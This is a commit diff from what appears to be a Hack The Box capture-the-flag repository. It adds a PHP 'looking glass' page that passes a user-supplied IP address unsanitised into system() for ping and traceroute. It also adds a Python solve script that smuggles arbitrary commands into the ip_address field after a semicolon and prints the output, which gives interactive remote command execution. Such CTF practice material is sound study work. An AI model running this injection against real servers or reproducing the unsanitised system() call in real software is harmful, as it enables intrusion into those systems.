Added initial code.
This commit is contained in:
parent
5808d2f805
commit
1f7a9b0566
22 changed files with 309132 additions and 1 deletions
19
htb/challenges/web-looking-glass/index.php
Normal file
19
htb/challenges/web-looking-glass/index.php
Normal file
|
@ -0,0 +1,19 @@
|
|||
<?php
|
||||
function getUserIp()
|
||||
{
|
||||
return $_SERVER['REMOTE_ADDR'];
|
||||
}
|
||||
|
||||
function runTest($test, $ip_address)
|
||||
{
|
||||
if ($test === 'ping')
|
||||
{
|
||||
system("ping -c4 ${ip_address}");
|
||||
}
|
||||
if ($test === 'traceroute')
|
||||
{
|
||||
system("traceroute ${ip_address}");
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
16
htb/challenges/web-looking-glass/solve.py
Normal file
16
htb/challenges/web-looking-glass/solve.py
Normal file
|
@ -0,0 +1,16 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
from requests import post
|
||||
|
||||
cmd = input('rce>> ')
|
||||
ip = '159.65.20.166' # change this
|
||||
port = '30526' # change this
|
||||
|
||||
data = {'test': 'ping', 'ip_address': f'{ip}; {cmd}', 'submit': 'Test'}
|
||||
r = post(f'{ip}:{port}/', data=data)
|
||||
|
||||
data = r.text
|
||||
data = data.split('packet loss\n')[-1]
|
||||
data = data.split('</textarea>')[0]
|
||||
|
||||
print(data.strip())
|
Loading…
Add table
Add a link
Reference in a new issue